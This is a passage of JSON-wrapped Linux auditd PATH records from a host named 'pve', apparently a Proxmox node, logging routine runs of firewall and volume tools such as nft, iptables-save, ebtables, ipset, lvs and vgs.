type=PATH msg=audit(1781964434.352:60995): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964434345,"@rawstring":"node=pve type=PATH msg=audit(1781964434.345:60994): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964434345,"@rawstring":"node=pve type=PATH msg=audit(1781964434.345:60994): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964434345,"@rawstring":"node=pve type=PATH msg=audit(1781964434.345:60993): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964434345,"@rawstring":"node=pve type=PATH msg=audit(1781964434.345:60992): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964434212,"@rawstring":"node=pve type=PATH msg=audit(1781964434.212:60991): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964434212,"@rawstring":"node=pve type=PATH msg=audit(1781964434.212:60991): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964434179,"@rawstring":"node=pve type=PATH msg=audit(1781964434.179:60990): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964434179,"@rawstring":"node=pve type=PATH msg=audit(1781964434.179:60990): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964429334,"@rawstring":"node=pve type=PATH msg=audit(1781964429.334:60989): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964429334,"@rawstring":"node=pve type=PATH msg=audit(1781964429.334:60989): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964429334,"@rawstring":"node=pve type=PATH msg=audit(1781964429.334:60988): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964429334,"@rawstring":"node=pve type=PATH msg=audit(1781964429.334:60987): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964429321,"@rawstring":"node=pve type=PATH msg=audit(1781964429.321:60986): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964429321,"@rawstring":"node=pve type=PATH msg=audit(1781964429.321:60986): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964429321,"@rawstring":"node=pve type=PATH msg=audit(1781964429.321:60985): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964429321,"@rawstring":"node=pve type=PATH msg=audit(1781964429.321:60984): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964425983,"@rawstring":"node=pve type=PATH msg=audit(1781964425.983:60983): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964425983,"@rawstring":"node=pve type=PATH msg=audit(1781964425.983:60983): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964425979,"@rawstring":"node=pve type=PATH msg=audit(1781964425.979:60982): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964425979,"@rawstring":"node=pve type=PATH msg=audit(1781964425.979:60982): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964425979,"@rawstring":"node=pve type=PATH msg=audit(1781964425.979:60981): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964425979,"@rawstring":"node=pve type=PATH msg=audit(1781964425.979:60981): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964425979,"@rawstring":"node=pve type=PATH msg=audit(1781964425.979:60980): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964425974,"@rawstring":"node=pve type=PATH msg=audit(1781964425.974:60979): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964425974,"@rawstring":"node=pve type=PATH msg=audit(1781964425.974:60979): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964425974,"@rawstring":"node=pve type=PATH msg=audit(1781964425.974:60979): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964425968,"@rawstring":"node=pve type=PATH msg=audit(1781964425.968:60978): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964425968,"@rawstring":"node=pve type=PATH msg=audit(1781964425.968:60978): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964425961,"@rawstring":"node=pve type=PATH msg=audit(1781964425.961:60977): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964425961,"@rawstring":"node=pve type=PATH msg=audit(1781964425.961:60977): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964425954,"@rawstring":"node=pve type=PATH msg=audit(1781964425.954:60976): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964425954,"@rawstring":"node=pve type=PATH msg=audit(1781964425.954:60976): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964425946,"@rawstring":"node=pve type=PATH msg=audit(1781964425.946:60975): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964425946,"@rawstring":"node=pve type=PATH msg=audit(1781964425.946:60975): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964425941,"@rawstring":"node=pve type=PATH msg=audit(1781964425.941:60973): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964425941,"@rawstring":"node=pve type=PATH msg=audit(1781964425.941:60973): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964425937,"@rawstring":"node=pve type=PATH msg=audit(1781964425.937:60972): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964425937,"@rawstring":"node=pve type=PATH msg=audit(1781964425.937:60972): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964425932,"@rawstring":"node=pve type=PATH msg=audit(1781964425.932:60971): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964425932,"@rawstring":"node=pve type=PATH msg=audit(1781964425.932:60971): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964425926,"@rawstring":"node=pve type=PATH msg=audit(1781964425.926:60970): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964425926,"@rawstring":"node=pve type=PATH msg=audit(1781964425.926:60970): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964425921,"@rawstring":"node=pve type=PATH msg=audit(1781964425.921:60969): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964425921,"@rawstring":"node=pve type=PATH msg=audit(1781964425.921:60969): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964425916,"@rawstring":"node=pve type=PATH msg=audit(1781964425.916:60968): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964425916,"@rawstring":"node=pve type=PATH msg=audit(1781964425.916:60968): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964425910,"@rawstring":"node=pve type=PATH msg=audit(1781964425.910:60967): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964425910,"@rawstring":"node=pve type=PATH msg=audit(1781964425.910:60967): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964425904,"@rawstring":"node=pve type=PATH msg=audit(1781964425.904:60966): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964425904,"@rawstring":"node=pve type=PATH msg=audit(1781964425.904:60966): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964425900,"@rawstring":"node=pve type=PATH msg=audit(1781964425.900:60965): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964425900,"@rawstring":"node=pve type=PATH msg=audit(1781964425.900:60965): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964425897,"@rawstring":"node=pve type=PATH msg=audit(1781964425.897:60964): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964425897,"@rawstring":"node=pve type=PATH msg=audit(1781964425.897:60964): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964425896,"@rawstring":"node=pve type=PATH msg=audit(1781964425.896:60963): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964425896,"@rawstring":"node=pve type=PATH msg=audit(1781964425.896:60963): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964425896,"@rawstring":"node=pve type=PATH msg=audit(1781964425.896:60962): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964425892,"@rawstring":"node=pve type=PATH msg=audit(1781964425.892:60961): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964425892,"@rawstring":"node=pve type=PATH msg=audit(1781964425.892:60961): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964425892,"@rawstring":"node=pve type=PATH msg=audit(1781964425.892:60961): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964425886,"@rawstring":"node=pve type=PATH msg=audit(1781964425.886:60960): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964425886,"@rawstring":"node=pve type=PATH msg=audit(1781964425.886:60960): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964425880,"@rawstring":"node=pve type=PATH msg=audit(1781964425.880:60959): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964425880,"@rawstring":"node=pve type=PATH msg=audit(1781964425.880:60959): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964425875,"@rawstring":"node=pve type=PATH msg=audit(1781964425.875:60958): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964425875,"@rawstring":"node=pve type=PATH msg=audit(1781964425.875:60958): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964425869,"@rawstring":"node=pve type=PATH msg=audit(1781964425.869:60957): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964425869,"@rawstring":"node=pve type=PATH msg=audit(1781964425.869:60957): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964425863,"@rawstring":"node=pve type=PATH msg=audit(1781964425.863:60956): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964425863,"@rawstring":"node=pve type=PATH msg=audit(1781964425.863:60956): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964424311,"@rawstring":"node=pve type=PATH msg=audit(1781964424.311:60955): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964424311,"@rawstring":"node=pve type=PATH msg=audit(1781964424.311:60955): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964424311,"@rawstring":"node=pve type=PATH msg=audit(1781964424.311:60954): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964424311,"@rawstring":"node=pve type=PATH msg=audit(1781964424.311:60953): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964424305,"@rawstring":"node=pve type=PATH msg=audit(1781964424.305:60952): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964424305,"@rawstring":"node=pve type=PATH msg=audit(1781964424.305:60952): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964424305,"@rawstring":"node=pve type=PATH msg=audit(1781964424.305:60951): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964424305,"@rawstring":"node=pve type=PATH msg=audit(1781964424.305:60950): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964424097,"@rawstring":"node=pve type=PATH msg=audit(1781964424.097:60949): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964424097,"@rawstring":"node=pve type=PATH msg=audit(1781964424.097:60949): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964424056,"@rawstring":"node=pve type=PATH msg=audit(1781964424.056:60948): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964424056,"@rawstring":"node=pve type=PATH msg=audit(1781964424.056:60948): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964419292,"@rawstring":"node=pve type=PATH msg=audit(1781964419.292:60947): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964419292,"@rawstring":"node=pve type=PATH msg=audit(1781964419.292:60947): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964419292,"@rawstring":"node=pve type=PATH msg=audit(1781964419.292:60946): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964419292,"@rawstring":"node=pve type=PATH msg=audit(1781964419.292:60945): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964419283,"@rawstring":"node=pve type=PATH msg=audit(1781964419.283:60944): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964419283,"@rawstring":"node=pve type=PATH msg=audit(1781964419.283:60944): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964419283,"@rawstring":"node=pve type=PATH msg=audit(1781964419.283:60943): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964419283,"@rawstring":"node=pve type=PATH msg=audit(1781964419.283:60942): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964415851,"@rawstring":"node=pve type=PATH msg=audit(1781964415.851:60941): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964415851,"@rawstring":"node=pve type=PATH msg=audit(1781964415.851:60941): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964415848,"@rawstring":"node=pve type=PATH msg=audit(1781964415.848:60940): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964415848,"@rawstring":"node=pve type=PATH msg=audit(1781964415.848:60940): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964415847,"@rawstring":"node=pve type=PATH msg=audit(1781964415.847:60939): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964415847,"@rawstring":"node=pve type=PATH msg=audit(1781964415.847:60939): item=0 name=\"/bin/date\" inode=260676 